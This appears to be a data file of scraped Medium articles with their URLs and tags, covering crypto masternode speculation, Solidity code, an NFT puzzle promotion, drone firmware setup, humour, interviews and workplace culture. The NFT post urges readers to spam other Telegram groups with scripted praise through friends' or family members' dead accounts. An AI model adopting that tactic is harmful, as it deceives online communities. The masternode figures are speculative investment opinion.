This is essentially just an equivalent calculation to that of the Coins Locked figure that can be found on some masternode directories, which shows the supply that is currently locked in masternodes as a percentage of the circulating supply, except that I prefer working it out as an MNV figure because I get to know the strength of the underlying masternode network. This leads us on to the next question; what exactly am I looking at with this calculation, and why is it helpful?
MNV is a figure that shows you how much of the market cap of any given masternode coin has actually been bought up and locked into running masternodes. Therein lies its utility; market caps can be useless, artificial figures, but MNV cannot feasibly be faked. It is indicative of true demand and value for a masternode project, as it illuminates the amount of buying that has taken place to accrue those masternodes. The first part of the calculation is itself the masternode network value, as it is a sum of the cost of all masternodes currently online, and we use the circulating market cap to assess how much of a coin’s perceived value is actually in use. It’s all well and good having a billion-dollar market cap for a masternode coin, but if only 10% of that is in operation — running masternodes — it speaks volumes as to the dependability of that masternode network.
With regards to how this calculation becomes useful in our analysis, it differs based on the following section.
Masternode Selection:
The selection process from this point is dependent upon one’s aim; is it to find the most profitable masternodes or the most dependable? As I mentioned prior, there is a critical difference here, and this is where Masternode Network Value comes in. Before elaborating on the most dependable, I’ll first run through the most profitable.
I must preface this by mentioning the more imminent danger to high-profitability: inflation. With a swift glance at the masternode directories I have provided, you will see an abundance of coins seemingly offering upwards of 1000% annual ROI, and at least a handful offering upwards of ten times this. This is a death trap. Do not fall for the false glisten of such rewards; with immense profitability comes immense inflation. The cause of such rewards is as follows, and it is simply a marketing trick:
The Masternode Trick:
Project Z announces its launch and states that its masternodes will be providing 1000% annual ROI by offering the vast majority of their block rewards to masternode holders → This attracts a large number of speculators and miners → The collateral requirement is high and the project has a premine that allows for a handful of masternodes to be set up by the developers to ‘get the masternode network running and stable’ → The developers use part of the premine as a listing fee to index their projects on the popular masternode directories → Meanwhile, the early masternodes are reaping far greater than the specified 1000% annual ROI as there are so few up and running, so block rewards are disproportionately being accrued to those early few → The masternode directories now show the project to currently offer far greater than 1000% annual ROI, which in turn attracts more speculators and miners → This creates artificial demand for the coin, as the collateral amount is often so excessive that it is impractical to simply mine the amount in short enough a time-period to reap the current rewards → The early masternode holders can sell their rewards because of such high demand → More and more masternodes come online and the annual ROI greatly decreases to accommodate this but supply emission does not change as the block rewards remain the same → The price of the coin decreases as demand is no longer sufficient to maintain the supply emission, to the woe of anyone who bought their masternode collateral after the early few.
This may be a simple trick, but it has been used and re-used by so many projects that there is now a graveyard of tens, if not hundreds, of coins that will never recover. The allure of high profitability is too great for the trick to stop working. It is partly the reason for my hack, back in October 2017, as I was scouring the crevices of the cryptosphere for early entry into the most profitable masternodes; thereby unwittingly downloading an unsafe wallet with a hidden RAT that later devoured the majority of my altcoin portfolio. There can only be a few winners (at least at the highest levels of profitability) for such coins, and these are all too often the developers and the very earliest (and luckiest) miners. I myself was lucky enough to be perhaps one of the first five miners on Magnet, securing myself three or four of the first twenty or so masternodes, and, as such, reaping since-unparalleled profitability. But this is a rarity and not one I suggest seeking out. (Saying that, I may find someone with more experience in speculative mining to write a guest post on this, at some point.)
The Process (High-Profitability Masternodes):
For the inconvincibles, there is still a process for picking profitable masternodes that won’t have you weeping after a week:
All of the selection criteria highlighted in the book and in my post on Picking Out Microcaps remains valid, and should be the first port-of-call for separating the wheat from the chaff.
After that, ignore any masternode offering over 1000% annual ROI. This is too great a level of inflation for it to be worth the additional stress.
It is at this point that MNV comes into play. For higher profitability masternodes, you want a higher-than-usual MNV. This is because higher profitability means greater supply emission, thus likely devaluing the coin and thereby our masternodes. High MNV assures that a high percentage of the coin supply is locked up in masternodes. (Note: this figure is dynamic rather than static. We must monitor it closely to assure there is a constant demand for masternodes on this network.)
For masternodes with greater than 100% and less than 1000% annual ROI (the range I consider ‘high profitability’), I would suggest filtering for at least a 0.66 or higher MNV (66%). Two-thirds or more of the market cap in operation to run masternodes is rare but I believe it is a necessary filter to prevent falling into the liquidity trap, wherein demand for masternodes is too low to accommodate the immense supply emission.
From here, the usual technical analysis comes into play, where I make sure that the chart aligns well with MNV. What I mean by this is simply that the ideal scenario is one in which low price complements high MNV. This ensures that:
High profitability masternodes are still in heavy demand despite price being low.
One hedges against the likelihood of the value of the masternode itself decreasing by much; it is already cheap, relative to its price-history.
Then, once you’ve filtered for all of the above, the accumulation process can begin. You are free to set up your high profitability masternode. One word of final warning would be to consider making high profitability masternodes a shorter-term component of your strategy. The longer you run them, the longer you run the risk of supply emission beating out demand and your masternodes (and their rewards) becoming relatively worthless.
The Process (Long-Term Masternodes):
Now, you might be more like me. You might prefer dependable, longer-term masternodes to add to your portfolio. In this case, the bar is considerably lower for MNV and the range narrower for profitability. (This is where the sole distinction lies in the selection process, as the rest of the above outline works across-the-board.) Dependable masternodes are so because of their low inflation, historically sustained demand and stable networks. This kind of masternode is most suitable for passive income purposes.
How do we find them? Well, aside from the filtering process above:
Look for coins with an annual ROI between 10–100%. This is a stable range of inflation and still very profitable for a passive income model.
Filter for a MNV of 0.25 (25%) or greater. The reason the required MNV is lower for these is due to far less supply emission. Of course, the higher the MNV, the better, regardless of the profitability of the coin. We want more masternodes online.
Whilst you are scouring the masternode directories, keep in mind that a few of them — masternodes.online and masternodes.pro come to mind — display graphs that depict the history of masternode cost, masternode count and other useful data. The masternode count data is especially useful, as it allows us to visualise how the network has grown over time. Ideally, we want to see steady, linear growth in the number of masternodes online. This ties in to the idea of historically sustained demand; long-term demand indicates that a potential passive income model may be sustainable.
Common Mistakes and Pitfalls:
In conclusion of this post, I’d like to run through some common mistakes that inexperienced (or experienced) speculators may make: | https://medium.com/predict/the-speculators-guide-to-masternodes-and-masternode-network-value-4daa227a5f85 | ['Nik Patel'] | 2018-10-13 17:01:43.382000+00:00 | ['Cryptocurrency', 'Altcoins', 'Cryptocurrency Investment', 'Cryptoasset', 'Bitcoin'] |
Dynamic value arrays and sets compared with Solidity mappings | Smart Contract Implementation
We are effectively providing functionality in a base class. It is designed to be inherited in order to provide the desired functionality. This is actually hijacking inheritance as a substitute for object composition.
map/map
Here is a useful import file providing a base contract that provides the add and check functions:
contract BaseAccountRoles { // an account has many roles
mapping(address => mapping(uint => bool)) accountRoles;
function accountAddRole(address account, uint role) internal {
accountRoles[account][role] = true;
} function accountHasRole(address account, uint role) internal
view returns (bool) {
return accountRoles[account][role];
}
}
This contract uses Solidity’s excellent mapping feature to map from the given address to each given role, which in turn maps to a bool indicating whether the account address provides the role or not.
map/d31
Here is another useful import file providing a base contract that provides the add and check functions:
import "Bytes31fun.sol" contract BaseAccountRoles31 { // an account has many roles
using Bytes31fun for bytes32;
mapping(address => bytes32) accountRoles;
function addAccountRole(address account, uint role) internal {
accountRoles[account] = accountRoles[account].push(role);
} function confirmAccountRole(address account, uint role) internal
view returns (bool) {
return accountRoles[account].find(role);
}
}
This contract uses a library to extend the Solidity bytes32 type to provide push() and find(). The method is described in the article “Dynamic Value Arrays in Solidity” by the author.
Solidity’s mapping feature is used to map from the given address to a bytes32 variable, which holds a compound of each given role that the address provides.
This implementation will throw an exception if the smart contract using it attempts to add more than 31 roles to any one account. That’s impossible in our particular implementation, but please be aware of the limitation if you use this technique.
map/set
Here is the last useful import file providing a base contract that provides the add and check functions:
contract BaseAccountRolesSet { // an account has many roles
mapping(address => uint) accountRoleSet;
function addAccountRole(address account, uint role) internal {
accountRoleSet[account] |= 1 << role;
} function confirmAccountRole(address account, uint role) internal
view returns (bool) {
return (accountRoleSet[account] & (1 << role)) != 0;
}
}
Solidity’s mapping feature is used to map from the given address to a variable, which is used as a set to holds each given role that the address provides.
This implementation will not throw an exception if the smart contract using it attempts to add more than 256 roles to any one account. I’m relaxed about that possibility in this case.
Enigmatic picture opportunity: | https://medium.com/better-programming/accounts-and-roles-in-solidity-48da6845038d | ['Jules Goddard'] | 2020-09-03 23:04:52.793000+00:00 | ['Smart Contracts', 'Solidity', 'Blockchain Technology', 'Ethereum', 'Programming'] |
Chapter 2: The Blue Wizard Puzzles Begins | The Blue wizard legacy’s second chapter begins. First, we presented the blue wizard’s presence, and now we are going to narrate the blue wizard puzzles, which occurred when he stopped/slowed purchasing items in the community and announced that he was going to throw puzzles to train young minds.
He goes on to say that “these young minds don’t understand the value of the holding, which is why he’s going to give them puzzles to teach them.”
These were his statements at the time, and then he told us more about his apprentice Athena and the puzzle he was going to throw at us.
He stated that the first puzzle will have a reward of one million wax for those who can solve it. This chapter is all about narrating the blue wizard puzzle story.
Our chapter kicks off with our first promotional NFT, “Mysteries of the Blue Wizard.”
There will be more promotional NFTs, and each NFT will contain a clue to solve the promotional Puzzle; remember, everything is in the images!
These promotional NFTs are accompanied by a promotional puzzle. By completing these promotional NFTs Clues, you can win $1,000 USD equivalent wax.
This is a race; the first person to solve it wins the prize; if it is not solved by the end of the deadline, the reward becomes invalid for anyone to claim.
When does the deadline fall? It’s after the last promotional NFT release. So don’t be concerned.
How many Promotional NFTs there are going to be? Well there are going to be some around 6–8 NFTs
Each Promotional NFT, as the name implies, is designed to promote legacy! and each NFT is created with that goal in mind.
The first NFT in Chapter 2 is “Mysteries of the Blue Wizard,” With Four Rarity
Legacy
JigSaw
Mystery
Foiled
Even if you solved part one of the puzzle,(1) your wallet must contain these four variations,(2) one pack open coupon, and you must have completed the quest to proceed to the next step.
Wallet Must contain These four variations? Yes, you have to own each Promotional NFT in your wallet. you can get these from the drop link I’ve posted in telegram or from the secondary market!.
Is there a pack open coupon? Oh yes, that you get from opening a legacy pack. Officially, there are only 1500 original packs are minted and available on market, and they are priced at $30. To be eligible for these puzzles and rewards, you must have a pack open coupon.
Quest 1: Telegram promotion and your task is to spread the good word about Legacy in other WAX NFTs Telegram groups. Now that I understand how the toxicity is spreading in other groups, you can use your friend’s or family member’s dead telegram accounts to spread the positivity if you don’t want to do it with your main account.
How to Spread Positivity?
Well, by writing a message in other telegram NFT groups in this format,
<you are introducing yourself, from how long have been in the legacy group and are aware that this project does not belong to Blue Wizard>
<telling it is all about telling Blue Wizard’s story through amazing art>
<telling it is going as it happened in the past, everything is going to be covered but for now we are stuck on chapter puzzles it will take time to finish tell everything>
This brings us to the end of Chapter 2. The first promotional NFT will be available in the market soon, with links posted in the Telegram group.
Please submit this form after you have completed your quest so that I can keep track of who is doing it from the start.
https://docs.google.com/forms/d/e/1FAIpQLSe1gYp1U8arWO3mAQn7z688NKK-MNcNrt7fZOhEyBMuI4r4lQ/viewform?usp=sf_link
To be eligible for the Promotional Puzzle $1,000 USD reward, you must:
1) have one pack open coupon in your wallet;
2) have promotional NFTs in your wallet;
3) complete quests and solve the puzzle!;
4) fill out the form so I can keep track of your items and progress.
The first person to do so will receive a $1,000 USD reward. Everything is in the images, one clue leads to another, one step aids in the solution of the other, and it aids in the solution of the entire puzzle. | https://medium.com/@bluwizlegacy/chapter-2-the-blue-wizard-puzzles-c43662c57cec | ['Blue Wizard Legacy'] | 2021-08-10 12:35:57.232000+00:00 | ['Waxio', 'Bluewizard Legacy', 'Nft', 'Nft Collectibles', 'Nftart'] |
Running Cleanflight Configuration on Debian/Ubuntu | Introduction
Cleanfligh is one of the 3 major software stacks for making a drone flying. The other 2 are betaflight and inav.
All this software stack are forked from a common source the multiwii project, and they generate firmware to be used in flight controllers or drive controllers based on STM32FX microprocessor family from STMicroelectronics.
Cleanfligh comes with a neat interface to do the firmware configuration. It runs as a Google app (nice choice, not so wise the choice from betaflight and inav). Running the app itself is straightforward as soon as you have chrome or chromium installed in your system.
The trick part or the hard part is the USB driver that this boards normally have, a USB to UART bridge CP210x family chip from Silicon Labs.
The installation on Windows follow the standard procedure by running an installation application in elevate mode and sometimes reboot the PC.
In Linux is a bit different, the provided module needs to be compiled and installed.
Let me explain to you the steps from the beginning:
Step #1 — Install Chromium and cleanflight latest version
lukidrone@lukidrone:~$ sudo apt install chromium
Run chromium and install cleanflight :
Go to http://cleanflight.com/ and click on “install chrome app”
cleanfligh.com | https://medium.com/@luis.coelho.720813/running-cleanflight-configuration-on-debian-ubuntu-212fd86d48ab | ['Luis Coelho'] | 2020-11-24 21:25:11.900000+00:00 | ['Cleanflight', 'Betaflight', 'Drone'] |
Gardening made me the grumpy old man on my block | Tales from a grumpy new gardener
Gardening made me the grumpy old man on my block
My childhood neighbor would be so proud
Photo credit: Paul Streltsov/Unsplash
I scowled outside at the birds, having the times of their lives stabbing the grass. I hate organic fertilizer. The birds and rabbits are enjoying our lawn and bringing friends over, social isolation be damned. And all I keep thinking about is how long the grass will grow with them in it, eating up all the garden treatment. I’m going back to good old-fashioned traditional fertilizer and weed removal. I know I guest-write for Earth & Me, but going green is too stressful.
Then came the tenant who was determined to let her kids run in the grass. With every step they run — regardless of the condo association bylaws — I wince, thinking of how long it’s going to take for grass to grow if it’s getting trampled over all the time. And they leave popsicle plastic behind. The audacity. Even after lecturing the parents to stop letting the kids play in the grass, I came outside on Friday and the same couple put their lawn chairs in the lawn — and brought friends. When I said, “Please don’t sit in the grass,” I didn’t mean go get a lawn chair to sit higher up in the same grass.
I never expected to be in my 30s and invested in grass. How one goes from having a black thumb for 36 of her 38 years to standing in Home Depot for an hour, reading the backs of all the fertilizer and weed removal bottles, is beyond comprehension. I thought I was fancy for keeping an arrowhead plant alive on my coffee table, but never did I ever humor the idea of guarding an actual garden.
Somehow, some way, I’ve become my childhood best friend’s grandfather — the guy who lived next door and mowed one foot of the grass on his side of our gate, along with his entire yard. (Imagine how goofy it looked to have uncut grass on our side, but one foot of it neatly trimmed.) I’ve become the person who mumbles, “Don’t you see the sidewalk!” whenever some maniac cuts through the grass to leave the building. I’ve become the person who tests out garden hoses to find out their weight — and knows to wear clothing that I can prepare to be drenched by sprinkler water. And as much as I hate to admit it, if I see people standing outside the condo too long, I ponder on whether I should go get the sprinklers and turn them on “high” to get them to move to the next building.
My grandfather, another gardener who grew enough fruits and vegetables in his backyard to the point of never really needing grocery store produce sections, got along splendidly with our crabby neighbor. I had to respect the man because he was my friend’s grandfather, and of course because my parents would’ve yanked me up by neck for being disrespectful. But never in my life did I expect that hiring gardeners and then getting involved in the garden would turn me into this duo.
I stare in the mirror every day, waiting for a beard to grow in or to start buying flannel shirts and khaki vests — or even worse, for me to start uncontrollably pointing my finger and yelling at kids. (Right now I’m only lecturing adults.) I already have the floppy hat to keep the sun out of my eyes while I size up Hostas and Echinacea purpurea magnus and Diervilla Kodiak Orange plants, wondering if they’re really in the right spot for Chicago’s heat.
And I catch myself mentally staring at the amount of hardwood mulch and compost, to make sure it still looks as neat as when it was first installed. My grandfather and my neighbor (who have passed on) would be so proud to see I joined their Grumpy Gardener crew. Meanwhile I’m wondering why 2020 has turned me into someone I don’t recognize. Don’t judge me though, unless you’re prepared for my water hose, locked and ready to spray at a moment’s notice. And I’m not scared of you crazy kids either! | https://medium.com/tickled/gardening-made-me-the-grumpy-old-man-on-my-block-766a4ad1ee | ['Shamontiel L. Vaughn'] | 2020-09-28 00:54:15.806000+00:00 | ['Humor', 'Gardening', 'Storytelling', 'Green Thumb', 'Plants'] |
Artist Interview: Justin 3 | Tell us about yourself and your music
I am a musician and actor, I have been writing and composing music sine I was 15. It is only thing I do in my life. I can’t separate which I like more, acting or making music, both of these professions are equally important to me, I am acting in musicals, that is the place where I feel really great and I can combine two skills I do the best in life. Being an artist in small country such as Lithuania is not very easy. Well, nowadays I believe, no matter where You are, it’s not easy. There were days when I had nothing to eat and now I have my own studio. I have met lots of interesting people, with lots of interesting experiences and stories, some of those I put into my songs
Talk to us more about your latest release
I am recording an album, it’s called Illusion. I am collaborating with such a wonderful writer Hayley Timmons and we have lots of interesting songs prepared for You. Some of those are yet to be recorded. This album will be about everything we come across in life. Some of those things are uplifting, some sad, even heartbreaking ,we already have a song about cancer, because I lost some close people because of this illness, and I think it’s a modern day plague. Also we have songs about love, because nobody ever avoided this feeling and some of our songs tells a story that you shouldn’t even try to avoid it ?
What inspired you to write this release?
Well, basically what every musician is inspired by. Life, love, hate. This album will combine every emotion, music is always about the same things, just from different angles, points of views. That is why it is so magical, You can sing about the same love in ten billion different ways, and everyone will find something close to their hearts.
Any plans to release a video?
Any plans to hit the road?
Our 2017 will start in Riga on February 9th and from there our plans are from Lithuania to Germany ? dates are still to be confirmed
As an indie artist, how do you brand yourself and your music to stand out from the rest of the artists out there?
I am not sure actually, there are a lot of so called “Gurus” who always preach how one or other thing should be done, but at first and most importantly there is good music, You must make good quality music, you must know what Your music is about, than there is marketing, Photos, Videos and etc. And when you have a good product, you put it in front of those people who actually listen to that genre of music. And there is lots of ways to do that, internet, radio, Television.
Who have you been listening to lately?
Bryan Adams, John Mayer, The Train, Maroon 5, Ed Sheeran, Bon Jovi, Aerosmith. I like melodies they make, the sound they produce and different techniques they use to produce that sound.
Tell us about your passions
Actually art is the thing I do for living, in my free time and I dream about it. I love filmmaking and acting, that is my passion, that is why I love making music videos. I am planning to release my self directed short movie.
What else is happening next in your world?
Well, there is political circus, terrorists, prices keep rising, salaries keeps going down. Some kind of a mess. But in these times, director Georg Malvius once told me in musical “Rent” production, in these times art is the most important thing, because it makes people live. And I think that is kind of truth. Of course, you should have something to eat, but art actually makes us who we are and that is also a very important part in our existence.
Thanks for an awesome interview, Justinas!
Connect with Justin 3
Website: http://www.justin3o.weebly.com
Facebook: http://www.facebook.com/justin3o
Twitter: http://www.twitter.com/justin3o
YouTube: https://www.youtube.com/channel/UCVxENcC7-jIPHTdxwQo1kMQ
Source: ArtistPR Indie Artist Interviews | https://medium.com/@artistpr/artist-interview-justin-3-c521f8c786b3 | [] | 2019-10-14 08:34:34.155000+00:00 | ['Country', 'Acoustic', 'Pop', 'Singer Songwriter', 'Rock'] |
Durians Daily #154: E-commerce is not only for retail, according to Carousell, plus three tips for SMEs going digital; A sense of normalcy for hospitalized children in Arizona with OhmniLabs’ robots | Missed out the last Durians Daily? Go here to check it out.
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500 Startups is a venture capital firm on a mission to discover and back the world’s most talented entrepreneurs, help them create successful companies at scale, and build thriving global ecosystems. In Southeast Asia, 500 Startups invests through the pioneering 500 Durians family of funds. The 500 Durians funds have backed over 200 companies across multiple sectors from internet to consumer to deep technology. It continues to connect founders with capital, expertise and powerful regional and global networks to help them succeed.
This post is intended solely for general informational or educational purposes only. 500 Startups Management Company, L.L.C. and its affiliates (collectively “500 Startups”) makes no representation as to the accuracy or information in this post and while reasonable steps have been taken to ensure that the information herein is accurate and up-to-date, no liability can be accepted for any error or omissions. All third party links in this post have not been independently verified by 500 Startups and the inclusion of such links should not be interpreted as an endorsement or confirmation of the content within. Information about portfolio companies’ markets, competitors, performance, and fundraising has been provided by those companies’ founders and has not been independently verified. Under no circumstances should any content in this post be construed as investment, legal, tax or accounting advice by 500 Startups, or an offer to provide any investment advisory service with regard to securities by 500 Startups. No content or information in this post should be construed as an offer to sell or solicitation of interest to purchase any securities advised by 500 Startups. Prospective investors considering an investment into any 500 Startups fund should not consider or construe this content as fund marketing material. The views expressed herein are as at the date of this post and are subject to change without notice. One or more 500 Startups fund may have a financial interest in one or more of the companies discussed. | https://medium.com/500-durians/durians-daily-154-e-commerce-is-not-only-for-retail-according-to-carousell-plus-three-tips-for-d4afa8e5300 | [] | 2020-12-17 08:20:06.079000+00:00 | ['Robotics', 'Digital', 'Ecommerce', 'Healthtech'] |
There’s one other benefit of sleeping that nobody talks about. | More from rstevens Follow
I make cartoons and t-shirts at www.dieselsweeties.com & @rstevens. Send me coffee beans. | https://rstevens.medium.com/theres-one-other-benefit-of-sleeping-that-nobody-talks-about-9d65b0d5a1ce | [] | 2019-09-17 04:34:50.284000+00:00 | ['Star Wars', 'Dreams', 'Porg', 'Sleep', 'Comics'] |
Social Distancing Isn’t the Answer: How Learning Leaders and Technology Leaders can Create a Great Culture | Social Distancing Isn’t the Answer: How Learning Leaders and Technology Leaders can Create a Great Culture Sarah Moffat Apr 23, 2020·8 min read
Last week I reached out to some amazing folks and asked them to join a #communityofleaders. Each week I’m posing questions and asking for their insights, advice, and thoughts about how we’ll come out of this crisis stronger and more resilient than ever.
Last week, we talked about the powerful and positive things that are coming out of this pandemic and international crisis. This week, I wanted to hear their thoughts on:
How can L&D professionals and technology leaders work together better to support a positive culture and higher levels of engagement for an economically and geographically dispersed workforce?
I heard from one leader who talked about how the government agency he supports is working hard to engage employees and even using some untraditional-for-government-tools including Slack. I’ve heard of other organizations holding yoga/mediation courses, speaker series, book clubs, and other really cool ways for people to connect.
What I’m hearing from all these leaders is that we don’t actually want social distancing. We want physical distancing. Socially, technically, and developmentally, however, we need to be banding together. While being together physically isn’t advised, recommended, or prudent — being socially isolated or distant will only harm our culture, mental health, and motivation.
We need socialization. We need to be socially together, maybe more than ever. As a learning and development leader, who happens to work in cybersecurity, I see so an abundance of opportunities for technology leaders to really lean on their L&D counterparts to join forces between the two seemingly different areas.
Which brings me to Community of Leaders and what they thought about this question. And, as last time, I’m bringing you their unabridged wisdom:
Question 2: How can L&D professionals and technology leaders work together better to support a positive culture and higher levels of engagement for an economically and geographically dispersed workforce?
LaJuan Bryan-Beverige, Chief Learning Officer, Department of Commerce
In these times where people are experiencing elevated…emotions, frustrations and uncertainty…. each area (learning and technology) needs to play their role as it relates to building relations (connections) and supporting employees. One critical requirement is transparency in organizational practice and process. Clearer identification of available technologies each agencies/organization has approved, made available for their users, and the socialization of both guidance and expectations of how proper use of these tools empowers the organization.
We need to become more proactive instead of reactive. Ensuring L&D within each organization is properly resourced to conduct annual surveys of the internal workforce, when possible, would allow timely measurement and/or identification of skill gaps. This type of workforce analysis would enable the L&D community to provide the right types of virtual training, collaborate with technical teams to develop online job-aids, and/or create peer-to-peer groups to assist employees with self-development. Sharing this organizational information across the board between technology leaders and L&D professionals would help everyone stay as current in their skills sets as possible.
Beth Killoran, Deputy Chief Information Officer, General Services Administration
There are a number of ways that they can work together. In our agency, we have built an integrated message from leadership. We have integrated video training, webinars, virtual town halls, along with traditional email messages, new letters etc. Adult learners need to have things provided in small segments. With so much phishing, many employees only click links or read things coming from their direct management chain. By providing a multifaceted and integrated approach, you can be effective and secure at the same time.
Jason Briefel, Partner, Director of Government & Public Affairs, Shaw Bransford & Roth, P.C.
How can they not? Why are they not? Technology and design leaders are already helping our organizations improve customer and user experience. Why is it such a far leap to use the same approaches to building and sustaining positive cultures through learning and talent development? Why have our organizations not already prioritized these teams working together, and what does that mean about culture?
Perhaps we are thinking about technology too narrowly. I looked up the etymology and found this definition interesting: “The word technology comes from two Greek words, transliterated techne and logos. Techne means art, skill, craft, or the way, manner, or means by which a thing is gained. Logos means word, the utterance by which inward thought is expressed, a saying, or an expression. So, literally, technology means words or discourse about the way things are gained.”
Learning shows up when information gained is applied and alters behaviors. We must be asking how can technology contribute to building community and facilitate scaling behavior changes across organizations.
Kathleen Cowles, Partner, Deep Water Point
Had to really think on this. Good exercise! Brought in things in my past (Connecting the Dots) and adding more for ‘COVID-19’ today. Tried to keep it as concise as possible. Will be interesting to see the variety of answers!
1. Are you ‘Connecting the Dots’? Have you created a Common purpose (the ‘we’ part) so teams can direct energies toward shared goals?
2. Within the ‘Team roles and responsibilities’ are you asking your team questions about what ‘tools’ the teams need to reach their goals — do your technology teams share in the common purpose and do all teams feed the technology teams their tools requirements? This is critical for aggregating everyone’s needs for success (including the technology teams), and helping to prioritize investments.
3. Initially, did you focus on quick team wins in order to scale? (i.e., Kudos on small, lets tackle the next one!)
4. As a leader, are you available to your team on a regular basis? What nurturing, empathy, flexibility and appreciation are you giving your team (and all the teams)? What about other feedback loops?
5. And for COVID-19 times — — What ‘fun’ can you add for a virtual workforce? Do you ensure teams believe you support a ‘Family First’ mantra — do you offer to hold after ‘family time’ meetings (i.e., early or after 8pm) to accommodate family responsibilities. Do you truly have a ‘no judgement’ environment as dogs bark or children come into the rooms in this ‘stay at home time’? I’ve heard that some teams use a daily photo challenge. This connects their team each day, helps them to share a bit of themselves and promotes interaction as people comment on each other’s photos. Some do weekly online happy hour with fun games and exchanges. Some have sports hours. I’ve heard of teams using hangouts like a ‘water cooler’ and a virtual ‘lunch rooms’ where people can just drop in. How about sharing expertise like cooking, painting, gardening, music etc. How about questions for your team: If you could live in another time, who is your favorite musician, best place to live etc. Let everyone contribute. And a great technique is asking a question of your team — i.e., tell me what you are thinking on ‘x project’ and turning the submitted answers into a word cloud. This is a great visual for teams to get a pulse on where the team is coming from on a project or in a situation. (Wordle is a great tool).
Darryl E. Peek II, Global Government Solutions, Salesforce
A positive culture is the result of the collective workforces head (thinking), heart (feeling), and hands (doing) which need to be closely aligned with organizational mission, values and goals whether around agility, trust, customer success, innovation, and equality. The collaboration between Learning & Development and Technology leaders is more critical than ever based on the increase in the competition for qualified employees to perform specialized functions for administrative, technology or mission-oriented roles. It is recommended that all parties focus on the employee experience through joint strategic outcomes that creates transparency, velocity, and vision for the future workforce. It is also important to develop an active and passive feedback loop to ensure the needs fo the employees in the organization are being met in a timely manner to include mission-oriented and/or back-office functions. A best practice is to use a cloud-based SaaS platform with automated workflows, relationship management, easy interoperability, transparency, data analytics, and omnichannel usage which enable the creation of employee apps that handle all phases of the employee journey. This approach along with an engaged management team will enable the greatest opportunity to achieve a positive culture for higher levels of engagement for a dispersed workforce.
Sue Bohle, Executive Director, Serious Play Conference
Whether or not executive teams are collaborative has always been one of the big differentiators in the success of medium sized and large companies. Fiefdom, insecurity and even “I’m too busy with my own activities” can stymie progress. Game-based training programs can help promote collaboration. It’s usually soon clear that participants in a good have to work together to solve the issues worked on and the team that “wins” is celebrated. A hold out executive who is not working with other participants might not be singled out during the training, but will be identified for the leader in the assessment/evaluation afterward.
Learning and Development professionals can implement game-based training programs with the help of CTOs and other technical support professionals over distance platforms. Zoom and other platforms offer video participation, where smiling faces and active learners stand out, and bored looks are obvious. Participants soon get used to being engaged and it ultimately feels like people are all in the same room. Some sophisticated software platforms will send participants off to breakout room or organize participants at tables before uniting a bigger group again for team presentations.
Greg Zlevor, President, Westwood International
I think that L&D and Tech leaders need to discover more and better ways to make Zoom and video tech more social. This will be a combination of facitlitated activities and video technology. What are the best practices?
We need to find ways to simulate and replace human face to face and touch. Shaking hands and hugs are an important ingredient to bonding.
Mika Cross, Vice President of Employer Engagement and Strategic Initiatives, FlexJobs
During these challenging times, I’d really encourage creative approaches to team learning and development that offer and include interactive exercises and team building across small groups to keep learning social and engaging. You can invite groups or teams of employees to join fun contests to complete online learning and earn small tokens or prizes while attending webinars or training together in an online group setting with the expectation to share knowledge learned and exchange ideas about areas they find interesting and applicable either to their work and home lives. Finding ways to stay social and connected will help build and support positive culture and higher engagement and could benefit larger teams if done correctly. | https://medium.com/@sarahcmoffat/social-distancing-isnt-the-answer-how-learning-leaders-and-technology-leaders-can-create-a-great-a9c14d78304f | ['Sarah Moffat'] | 2020-04-23 18:45:14.489000+00:00 | ['Covid 19', 'Technology', 'Leadership', 'Learning And Development'] |
7 steps to build a data science project in spare time | Get the idea worth pursuing
Sometimes the idea comes from peculiar places. Also, strange ideas can come from rather normal places. (video source: Alice in Wonderland, 1951)
“The first step is to get an idea. This is not all that hard to do. The tricky part is to get a good idea.”
The first step is crucial.
If you will take up the idea that’s filling you with emotions, you will work on it with enthusiasm.
To generate exciting concepts worth your time, you should come up with lots and lots of ideas and throw out those that aren’t good enough.
Ideas may come from many different places.
But while most of the beginners start to seek inspiration in scientific papers, Dr Varian says it is not a good source of original ideas. Fine, reading articles about data science improves your craft by getting you familiarized with new techniques and insight.
But at the same time, your mind is getting biased by someone else’s ideas.
“I think that you should look for your ideas outside the academic journals — in newspapers, in magazines, in conversations, and in TV and radio programs.”
So, what are the best places?
newspapers and magazines
TV and radio programs
podcasts
conversations
business people around you
your own life and experiences
When you read about non-data science content, you could discover problems or inefficiencies, that you can solve with AI/ML.
You can also simply use your memories and bring ideas from your own experiences. Ask yourself how would you help a person like live better, make better decisions or spend less money?
“One of my favorite pieces of my own work is the paper I wrote on “A Model of Sales”. I had decided to get a new TV so I followed the ads in the newspaper to get an idea of how much it would cost. (…) Once I developed the model I had a research assistant go through a couple of years’ worth of the Ann Arbor News searching for the prices of color TVs. Much to my delight the general pattern of pricing was similar to that predicted by the model. And, yes, I did manage to get a pretty good deal on the TV I eventually bought.”
You will know when you come up with a good idea. If your idea appeals to your feeling of usefulness, this could be nice to work on it.
Generate a lot of ideas by reading and listening outside your specialisation.
Take ideas that appeal to your feeling of usefulness.
Is your idea worth pursuing?
The first test of your idea should be trying to explain it in a way that a person unfamiliar with AI/ML can understand it. Try to paraphrase your idea in a way that a six years old can understand it. If you can’t, the idea is probably not very good.
Or you overestimated your level of knowledge. In this case, take a step back and read more about this topic.
But even if you can explain the subject to a child and not bore them to death, there isn’t still a certainty that idea isn’t too lousy. Although it could be tempting at first sight, pursuing a first viable idea doesn’t guarantee anything.
You can ask a few friends what they think about your idea. If your concept has a lot of implications and is interesting for other people, you should spend some time working on it.
“Always remember that working on this particular idea has an opportunity cost — you could be spending your time working on a different idea.” | https://medium.com/datadriveninvestor/7-steps-to-build-a-data-science-project-in-spare-time-e46bbe78ba0f | ['Rafał Rybnik'] | 2020-11-27 20:12:13.588000+00:00 | ['Programming', 'Machine Learning', 'Artificial Intelligence', 'Projects', 'Data Science'] |
Nicki Minaj joins HBO Max in upcoming 6 Part Documentary Series | Announcement dropped on 10th Anniversary of ‘ Pink Friday’
Nicki Minaj (Onika Tanya Maraj ) has struck a deal with HBO Max, which will consist of 6 half-hour episodes of the docu-series for the streaming platform.
The news came on the 10th Anniversary of her album “ Pink Friday “.
The series is set to follow Minaj’s life, letting fans explore both her personal and professional life, highlighting her accomplishments in the rap genre. The series name remains untitled.
The rapper, posted on her social media account, alongside the short clip above, she wrote: “”I am beyond grateful & excited to share this news with you guys today. I couldn’t be more thrilled to have #HBOMAX on board to help me tell my story in this delicate & memorable way. A way that my fans will love forever. This doc is next level.
